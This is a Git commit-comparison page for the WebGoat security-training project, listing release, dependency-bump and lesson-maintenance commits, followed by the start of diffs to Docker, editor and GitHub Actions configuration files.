Compare commits

..

126 Commits

Author SHA1 Message Date
81ed738493 Merge branch 'release/v2023.2' 2023-01-05 21:37:21 +01:00
c03d153978 New release 2023-01-05 21:36:48 +01:00
6ab04db2ee Merge branch 'release/v2023.1' into develop 2023-01-05 21:06:36 +01:00
a108a937b5 Merge branch 'release/v2023.1' 2023-01-05 21:06:22 +01:00
6d5ea57606 New release 2023-01-05 21:02:26 +01:00
79fd88eeb6 Use Java 17 2023-01-05 21:00:43 +01:00
64b10c1a59 Merge branch 'release/v2023.0' into develop 2023-01-05 20:52:02 +01:00
6398d31c14 Merge branch 'release/v2023.0' 2023-01-05 20:51:53 +01:00
716a7dd9ea Preparing release 2023.0 2023-01-05 20:51:34 +01:00
323daae578 Vulnerable components only work in a Docker container 2023-01-05 20:51:15 +01:00
bdbf66c8e1 Merge branch 'release/v2023.1' into develop 2023-01-05 20:38:54 +01:00
174a59c35a Preparing release 2023.1 2023-01-05 20:38:20 +01:00
a08e515f6d Merge branch 'release/v2023.0' into develop 2023-01-05 20:35:02 +01:00
f766edcfcb Preparing release 2023.0 2023-01-05 20:31:24 +01:00
3901814363 Fix documentation link for XXE mitigation. 2023-01-05 19:00:12 +01:00
59bfd7c6d4 Move XXE to A05 - Security Misconfiguration 2023-01-05 19:00:12 +01:00
11776e1d6a Remove explicit goal for code formatting
`mvn verify` already checks formatting, having a separate step is not necessary. We now also check Markdown files for correct formatting.
2023-01-05 18:18:52 +01:00
7664625afa Add documentation about reusing the container.
The documentation now contains a description to reuse the initially create container. This way the user can start where they left off. The documentation only described creating a new container each and every time leaving users to create a new login each and every time.

Add documentation about reusing the container.

The documentation now contains a description to reuse the initially create container. This way the user can start where they left off. The documentation only described creating a new container each and every time leaving users to create a new login each and every time.
2023-01-05 18:18:52 +01:00
dca415099f Remove unused JavaScript function 2023-01-05 11:33:00 +01:00
54e115aff0 Update the solution with WebWolf URLs
The new solution uses WebWolf paths as these will change automatically when a user start WebGoat on a different port. It no longer depends on the hardcoded port `8080`.
2023-01-05 11:02:45 +01:00
fcaa2d8589 Fix zip slip lesson.
The lesson did not work properly as the directory is reused across several path traversal lessons. First thing before uploading the zip file we now clean the directory.

The html had a reference to a location of the profile picture, this was part of a hint but this only causes confusion as this is not indicating to where you need to upload the picture with the Zip Slip vulnerability.

The assignment now contains a direct hint as where the image needs to be saved. The assignment is about creating a vulnerable zip file and NOT about guessing where the image should be saved inside WebGoat.
2023-01-05 11:02:45 +01:00
9666597164 - Add reference to the WebWolf icon in the top right corner.
- Format all text of the lesson
2023-01-04 08:07:51 +01:00
d2a1546dff Apply formatting
This will make sure we have a consistent style across our project and the PRs are only concerned with actual changes and no longer about style.
2023-01-04 08:07:23 +01:00
b03777d39b Support boolean when parsing the token.
When the admin json element passes as a `boolean`:

```
{
 "admin": true
}
```

the parsing is now successful.
2023-01-04 07:43:18 +01:00
32468ff90b Add sql lesson (#1370) 2023-01-04 07:42:29 +01:00
614235d913 Bump actions/cache from 3.2.1 to 3.2.2 (#1369)
Bumps [actions/cache](https://github.com/actions/cache) from 3.2.1 to 3.2.2.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.2.1...v3.2.2)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-31 16:28:31 +01:00
9abf4ef2ea Bump actions/cache from 3.0.11 to 3.2.1 (#1368)
Bumps [actions/cache](https://github.com/actions/cache) from 3.0.11 to 3.2.1.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.0.11...v3.2.1)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-27 18:00:54 +01:00
6a18ee80be Added info about login in the ReadMe file 2022-12-06 14:07:05 +01:00
71ec36102f Fix typo 2022-12-01 21:34:19 +01:00
8db9ff30be Fixed incorrect word
while "wear" and "were" have similar pronunciation, one of them is better here than the other :)
2022-11-29 18:55:44 +01:00
b51be74cab typofix 2022-11-28 17:10:14 +01:00
d4e3c9b91c Bump actions/cache from 3.0.10 to 3.0.11
Bumps [actions/cache](https://github.com/actions/cache) from 3.0.10 to 3.0.11.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.0.10...v3.0.11)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2022-10-23 10:06:24 +02:00
87358d4238 Bump docker/setup-qemu-action from 2.0.0 to 2.1.0
Bumps [docker/setup-qemu-action](https://github.com/docker/setup-qemu-action) from 2.0.0 to 2.1.0.
- [Release notes](https://github.com/docker/setup-qemu-action/releases)
- [Commits](https://github.com/docker/setup-qemu-action/compare/v2.0.0...v2.1.0)

---
updated-dependencies:
- dependency-name: docker/setup-qemu-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2022-10-23 10:06:13 +02:00
3bc5309a1c Bump docker/build-push-action from 3.1.1 to 3.2.0
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 3.1.1 to 3.2.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v3.1.1...v3.2.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2022-10-23 10:05:56 +02:00
8ec69d0a41 Bump docker/login-action from 2.0.0 to 2.1.0
Bumps [docker/login-action](https://github.com/docker/login-action) from 2.0.0 to 2.1.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v2.0.0...v2.1.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2022-10-23 10:05:44 +02:00
1f567749bd Bump actions/first-interaction from 1.1.0 to 1.1.1
Bumps [actions/first-interaction](https://github.com/actions/first-interaction) from 1.1.0 to 1.1.1.
- [Release notes](https://github.com/actions/first-interaction/releases)
- [Commits](https://github.com/actions/first-interaction/compare/v1.1.0...v1.1.1)

---
updated-dependencies:
- dependency-name: actions/first-interaction
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2022-10-23 10:05:32 +02:00
ea892dbcb2 Bump actions/cache from 3.0.8 to 3.0.10 (#1342)
Bumps [actions/cache](https://github.com/actions/cache) from 3.0.8 to 3.0.10.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.0.8...v3.0.10)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-05 11:24:44 +02:00
96c2595ad0 Update interface name to exploit
The name is
org.owasp.webgoat.lessons.vulnerablecomponents.Contact
not
org.owasp.webgoat.vulnerablecomponents.Contact
2022-09-21 22:32:16 +02:00
34f5b79249 isReadable works inside a container, isFile not (#1334) 2022-09-12 09:02:07 +02:00
f5e4d4717a FixTypo - Fix typo in various lesson documentations 2022-08-30 22:21:22 +02:00
de3c2c8d85 Bump actions/cache from 3.0.6 to 3.0.8
Bumps [actions/cache](https://github.com/actions/cache) from 3.0.6 to 3.0.8.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.0.6...v3.0.8)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2022-08-27 16:44:51 +02:00
975cbf5769 Bump docker/build-push-action from 3.1.0 to 3.1.1 (#1321)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 3.1.0 to 3.1.1.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v3.1.0...v3.1.1)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-08-08 20:06:48 +02:00
3308f89acc Bump actions/cache from 3.0.5 to 3.0.6 (#1320)
Bumps [actions/cache](https://github.com/actions/cache) from 3.0.5 to 3.0.6.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.0.5...v3.0.6)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-08-06 21:59:58 +02:00
50f932b02e Renamed to webwolfintroduction 2022-07-31 22:39:21 +02:00
251167c6b0 Renamed to webgoatintroduction 2022-07-31 22:39:21 +02:00
256c1dd3aa Renamed to vulnerablecomponents 2022-07-31 22:39:21 +02:00
b93c935d6c Renamed to sqlinjection 2022-07-31 22:39:21 +02:00
827a9d3467 Renamed to securepasswords 2022-07-31 22:39:21 +02:00
91470b93ea Renamed to pathtraversal 2022-07-31 22:39:21 +02:00
37d684fdd3 Renamed to passwordreset 2022-07-31 22:39:21 +02:00
4f911c64a1 Renamed to missingac 2022-07-31 22:39:21 +02:00
e0a0a80ad9 Renamed to lessontemplate 2022-07-31 22:39:21 +02:00
26c289d7d4 Renamed to insecurelogin 2022-07-31 22:39:21 +02:00
1eff81718b Renamed to httpproxies 2022-07-31 22:39:21 +02:00
08ce1add01 Renamed to httpbasics 2022-07-31 22:39:21 +02:00
25948306bd Renamed to htmltampering 2022-07-31 22:39:21 +02:00
1c86f465dc Renamed to clientsidefiltering 2022-07-31 22:39:21 +02:00
3b330fb328 Renamed to chromedevtools 2022-07-31 22:39:21 +02:00
8a35316985 Rename to bypassrestrictions 2022-07-31 22:39:21 +02:00
c63345e4ee Rename authbypass 2022-07-31 22:39:21 +02:00
005b9f03a4 search the menu using input box (#1317)
* working version

* change onchange to oninput with minimum of three chars

* working version with delay and fix for category click
2022-07-31 20:45:09 +02:00
4d48bd3d4c fix in style sheet that now shows normal dropdown behaviour (#1315) 2022-07-27 13:44:23 +02:00
71afc6b6f3 Workflow fix (#1311)
* conditional step

* conditional step
2022-07-25 09:55:24 +02:00
242fdf39a1 Fixes #1233 - Path traversal seems to contain wrong description 2022-07-24 22:09:16 +02:00
37163a99a6 Remove unused script 2022-07-24 15:34:43 +02:00
126ead2290 Add release notes 2022-07-24 15:34:43 +02:00
928bc32f4f Update README.md 2022-07-24 15:34:08 +02:00
6b63aaf8b1 Robot framework (#1304)
* added Robot framework UI tests

* added Robot framework UI tests workflow

* Update test.yml

wait in workflow

* remove obsolete selenium java libs and test

* Update test.yml

push result to commit as comment

* Update test.yml

push comment does not seem to work on WebGoat PR

* clean up unrequired robot options

* update readme
2022-07-24 12:28:01 +02:00
c4f16ceff6 Update README.md 2022-07-23 21:56:39 +02:00
4050d1817c Move to JRE image 2022-07-23 09:39:52 +02:00
37186e1d90 Explicity add ports to Java command
This way we don't have to mention it somewhere in the documentation it is all in one command
2022-07-23 09:39:52 +02:00
06b7244de7 Move XXE lesson to category A3: Injection 2022-07-23 09:39:52 +02:00
260168bb3f Remove automatic selection of a random port 2022-07-23 09:39:52 +02:00
af9ba18040 Bump docker/build-push-action from 3.0.0 to 3.1.0 (#1302)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 3.0.0 to 3.1.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v3.0.0...v3.1.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-07-20 18:50:11 +02:00
20dd3ffb95 Lang switch (#1297)
* language selector first steps

* language german intro added

* ascii doc lang attribute as additional option

* removed some commented code

* changed adoc resource loader to take into account the selected language

* added readme

* added lang test cases
2022-07-20 10:52:48 +02:00
24fcc8f321 Use starting instead of using. 2022-07-19 21:17:09 +02:00
ff965c83be Adjust year 2022-07-19 21:17:09 +02:00
2aa3609461 Fix typo 2022-07-19 21:17:09 +02:00
fe7774bb6f Update documentation regarding WebWolf
WebWolf no longer runs as a separate application we can simplify the description.
2022-07-19 21:17:09 +02:00
9e3eb39069 removed one duplicate label key and made all login and register fields multi language (#1296) 2022-07-16 06:53:39 +02:00
7add1ef73e hints tested (#1295) 2022-07-15 12:44:37 +02:00
4fc03381a8 Label hint tests (#1293)
* label test

* adjusted it test filter

* label test added
2022-07-15 08:17:11 +02:00
16af4272a5 joda time refactored some dep fix (#1292) 2022-07-14 09:11:06 +02:00
b47568ed69 Bump actions/cache from 3.0.4 to 3.0.5 (#1291)
Bumps [actions/cache](https://github.com/actions/cache) from 3.0.4 to 3.0.5.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.0.4...v3.0.5)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-07-14 09:03:51 +02:00
f8b7ca5c85 Pom update (#1290)
* asciidoctorj update

* pom and suppression updates
2022-07-11 13:28:44 +02:00
e4eb5d783a Some updates and code improvements (#1288)
* try with resources

* StringBuilder

* removed ant and updated spring boot
2022-07-10 17:13:26 +02:00
7dd0dd0923 Bump actions/cache from 3.0.3 to 3.0.4 (#1270)
Bumps [actions/cache](https://github.com/actions/cache) from 3.0.3 to 3.0.4.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.0.3...v3.0.4)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-06-20 15:25:31 +02:00
aeb481e561 Bump actions/cache from 3.0.2 to 3.0.3 (#1260)
Bumps [actions/cache](https://github.com/actions/cache) from 3.0.2 to 3.0.3.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.0.2...v3.0.3)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-06-04 18:06:55 +02:00
8a22c88d61 Bump docker/build-push-action from 2.10.0 to 3.0.0 (#1252)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 2.10.0 to 3.0.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v2.10.0...v3.0.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-05-18 08:36:51 +02:00
724666e10f Bump docker/setup-buildx-action from 1 to 2 (#1253)
Bumps [docker/setup-buildx-action](https://github.com/docker/setup-buildx-action) from 1 to 2.
- [Release notes](https://github.com/docker/setup-buildx-action/releases)
- [Commits](https://github.com/docker/setup-buildx-action/compare/v1...v2)

---
updated-dependencies:
- dependency-name: docker/setup-buildx-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-05-18 08:36:39 +02:00
4953dd63ed Bump docker/setup-qemu-action from 1.1.0 to 2.0.0 (#1254)
Bumps [docker/setup-qemu-action](https://github.com/docker/setup-qemu-action) from 1.1.0 to 2.0.0.
- [Release notes](https://github.com/docker/setup-qemu-action/releases)
- [Commits](https://github.com/docker/setup-qemu-action/compare/v1.1.0...v2.0.0)

---
updated-dependencies:
- dependency-name: docker/setup-qemu-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-05-18 08:36:28 +02:00
a32055995d Bump docker/login-action from 1.14.1 to 2.0.0 (#1255)
Bumps [docker/login-action](https://github.com/docker/login-action) from 1.14.1 to 2.0.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v1.14.1...v2.0.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-05-18 08:36:01 +02:00
3c0b243797 Added new active developer (#1249)
Fix footer
2022-05-06 07:34:49 +02:00
dfa31e0a28 JWT doc code typo fix (#1247) 2022-04-20 08:16:21 +02:00
b32240f96b owasp top10-2021 (#1235) 2022-04-11 21:12:41 +02:00
02c3f9551f update spring boot (#1242) 2022-04-11 21:12:10 +02:00
bc91ca86e8 Bump actions/cache from 2.1.7 to 3.0.2 (#1239)
Bumps [actions/cache](https://github.com/actions/cache) from 2.1.7 to 3.0.2.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v2.1.7...v3.0.2)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-04-11 18:14:54 +02:00
1dadf20ee0 Bump actions/checkout from 2 to 3 (#1240)
Bumps [actions/checkout](https://github.com/actions/checkout) from 2 to 3.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v2...v3)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-04-11 18:14:42 +02:00
4ff41299e3 Bump actions/setup-java from 2 to 3 (#1241)
Bumps [actions/setup-java](https://github.com/actions/setup-java) from 2 to 3.
- [Release notes](https://github.com/actions/setup-java/releases)
- [Commits](https://github.com/actions/setup-java/compare/v2...v3)

---
updated-dependencies:
- dependency-name: actions/setup-java
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-04-11 18:14:28 +02:00
a9fa53535d Fix Build Badge and Link (#1238) 2022-04-11 07:45:58 +02:00
711649924b Refactoring (#1201)
* Some initial refactoring

* Make it one application

* Got it working

* Fix problem on Windows

* Move WebWolf

* Move first lesson

* Moved all lessons

* Fix pom.xml

* Fix tests

* Add option to initialize a lesson

This way we can create content for each user inside a lesson. The initialize method will be called when a new user is created or when a lesson reset happens

* Clean up pom.xml files

* Remove fetching labels based on language.

We only support English at the moment, all the lesson explanations are written in English which makes it very difficult to translate. If we only had labels it would make sense to support multiple languages

* Fix SonarLint issues

* And move it all to the main project

* Fix for documentation paths

* Fix pom warnings

* Remove PMD as it does not work

* Update release notes about refactoring

Update release notes about refactoring

Update release notes about refactoring

* Fix lesson template

* Update release notes

* Keep it in the same repo in Dockerhub

* Update documentation to show how the connection is obtained.

Resolves: #1180

* Rename all integration tests

* Remove command from Dockerfile

* Simplify GitHub actions

Currently, we use a separate actions for pull-requests and branch build.
This is now consolidated in one action.
The PR action triggers always, it now only trigger when the PR is
opened and not in draft.
Running all platforms on a branch build is a bit too much, it is better
 to only run all platforms when someone opens a PR.

* Remove duplicate entry from release notes

* Add explicit registry for base image

* Lesson scanner not working when fat jar

When running the fat jar we have to take into account we
are reading from the jar file and not the filesystem. In
this case you cannot use `getFile` for example.

* added info in README and fixed release docker

* changed base image and added ignore file

Co-authored-by: Zubcevic.com <rene@zubcevic.com>
2022-04-09 14:56:12 +02:00
f3d8206a07 Set permissions for GitHub actions (#1228)
- Included permissions for the action. https://github.com/ossf/scorecard/blob/main/docs/checks.md#token-permissions

https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions

https://docs.github.com/en/actions/using-jobs/assigning-permissions-to-jobs

[Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)

 Restrict the GitHub token permissions only to the required ones; this way, even if the attackers will succeed in compromising your workflow, they won’t be able to do much.

Signed-off-by: neilnaveen <42328488+neilnaveen@users.noreply.github.com>
2022-04-09 12:54:32 +02:00
56f5b0f0fa Bump actions/cache from 2.1.7 to 3 (#1220)
Bumps [actions/cache](https://github.com/actions/cache) from 2.1.7 to 3.
- [Release notes](https://github.com/actions/cache/releases)
- [Commits](https://github.com/actions/cache/compare/v2.1.7...v3)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-03-26 14:33:06 +01:00
bed2eed8d8 Bump docker/build-push-action from 2.7.0 to 2.10.0 (#1218)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 2.7.0 to 2.10.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v2.7.0...v2.10.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-03-26 14:32:53 +01:00
984548ae88 Bump actions/checkout from 2 to 3 (#1213)
Bumps [actions/checkout](https://github.com/actions/checkout) from 2 to 3.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v2...v3)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-03-09 14:52:49 +01:00
32475ea37e Bump docker/login-action from 1.13.0 to 1.14.1 (#1214)
Bumps [docker/login-action](https://github.com/docker/login-action) from 1.13.0 to 1.14.1.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v1.13.0...v1.14.1)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-03-09 14:52:28 +01:00
2332bf22a7 Bump docker/login-action from 1.12.0 to 1.13.0 (#1209)
Bumps [docker/login-action](https://github.com/docker/login-action) from 1.12.0 to 1.13.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v1.12.0...v1.13.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-02-28 07:58:56 +01:00
3bc009297e Update SessionManagementTest.java (#1198)
url() is required in this case. You will notice it when changing host name or when using https
2021-12-23 17:07:55 +01:00
44ab36aa1b Add message that WebGoat should be running while detecting datasource 2021-12-22 15:57:39 +01:00
969335f2f6 Update documentation for starting with java -jar 2021-12-22 15:57:11 +01:00
c000a9b467 Improve startup message Docker 2021-12-22 12:55:27 +01:00
c5389f31c3 Bump docker/login-action from 1.9.0 to 1.12.0
Bumps [docker/login-action](https://github.com/docker/login-action) from 1.9.0 to 1.12.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v1.9.0...v1.12.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2021-12-21 12:53:41 +01:00
85d4633f62 Update enforcer and exclude log4j-core completely (every version) 2021-12-21 10:05:12 +01:00
7ded0968c1 Ban log4j all together and update OWASP dep check
Remove
2021-12-20 21:45:44 +01:00
cb6b1d73d1 upgrade to latest spring-boot libs and fixed related issues 2021-12-20 21:45:44 +01:00
44f70ce4dc Remove unnecessary compiler section from pom.xml as it confuses Intellij while importing 2021-12-20 16:45:06 +01:00
a42f8fcf75 No progress information for Maven 2021-12-20 16:45:06 +01:00
ac4b06f11b Move enabling security to WebGoat core and add resetting the lessons.
We can use it for more lessons and showcase how to apply security directly from the source code.

Resolves: #1176
2021-12-20 16:45:06 +01:00
7847e69574 Merge branch 'release/v8.2.2' 2021-09-05 14:41:58 +02:00
7881a70273 Merge branch 'release/v8.2.1' 2021-07-30 17:09:53 +03:00
45c420ed05 Merge branch 'release/v8.2.0' 2021-07-26 13:02:21 +03:00
2c6c103f3b Merge branch 'release/v8.2.0' 2021-05-25 20:55:56 +02:00
c0ce72a2bd Remove Github pages, too many things to keep in sync.
Let's keep the focus on the OWASP page and the Github README
2020-05-23 16:35:32 +02:00
a4f7059051 Merge branch 'release/v8.1.0' 2020-05-23 14:19:03 +02:00
bd16fedb33 Merge branch 'release/v8.1.0' 2020-05-22 15:08:50 +02:00
c8ac054093 Merge branch 'release/v8.0.0.M26' 2019-11-12 09:32:50 +01:00
1370 changed files with 23835 additions and 25993 deletions

3
.dockerignore Normal file
View File

@ -0,0 +1,3 @@
**
!/target

View File

@ -12,5 +12,4 @@ ij_continuation_indent_size = 8
ij_formatter_off_tag = @formatter:off ij_formatter_off_tag = @formatter:off
ij_formatter_on_tag = @formatter:on ij_formatter_on_tag = @formatter:on
ij_formatter_tags_enabled = false ij_formatter_tags_enabled = false
ij_wrap_on_typing = true
ij_java_names_count_to_use_import_on_demand = 999 ij_java_names_count_to_use_import_on_demand = 999

2
.github/stale.yml vendored
View File

@ -2,7 +2,7 @@
daysUntilStale: 90 daysUntilStale: 90
daysUntilClose: 14 daysUntilClose: 14
onlyLabels: onlyLabels:
- waiting-for-input - waiting for input
- wontfix - wontfix
staleLabel: stale staleLabel: stale
markComment: > markComment: >

View File

@ -1,54 +0,0 @@
name: "Branch build"
on:
push:
branches-ignore:
- main
- develop
- release/*
jobs:
install-notest:
if: "github.repository != 'WebGoat/WebGoat'"
runs-on: ubuntu-latest
name: "Package and linting"
steps:
- uses: actions/checkout@v2
- name: set up JDK 17
uses: actions/setup-java@v2
with:
distribution: 'temurin'
java-version: 17
architecture: x64
- name: Cache Maven packages
uses: actions/cache@v2.1.7
with:
path: ~/.m2
key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ubuntu-latest-m2
- name: Test with Maven
run: mvn install -DskipTests
testing:
if: "github.repository != 'WebGoat/WebGoat'"
needs: install-notest
runs-on: ubuntu-latest
strategy:
matrix:
args:
- mvn -pl '!webgoat-integration-tests' test
- mvn -pl webgoat-integration-tests test
steps:
- uses: actions/checkout@v2
- name: set up JDK 17
uses: actions/setup-java@v2
with:
distribution: 'temurin'
java-version: 17
architecture: x64
- name: Cache Maven packages
uses: actions/cache@v2.1.7
with:
path: ~/.m2
key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ubuntu-latest-m2
- name: Test with Maven
run: ${{ matrix.args }}

68
.github/workflows/build.yml vendored Normal file
View File

@ -0,0 +1,68 @@
name: "Build"
on:
pull_request:
paths-ignore:
- '.txt'
- 'LICENSE'
- 'docs/**'
push:
branches:
- main
- develop
- release/*
tags-ignore:
- '*'
paths-ignore:
- '.txt'
- 'LICENSE'
- 'docs/**'
jobs:
pr-build:
if: >
github.event_name == 'pull_request' && !github.event.pull_request.draft && (
github.event.action == 'opened' ||
github.event.action == 'reopened' ||
github.event.action == 'synchronize'
)
runs-on: ${{ matrix.os }}
strategy:
matrix:
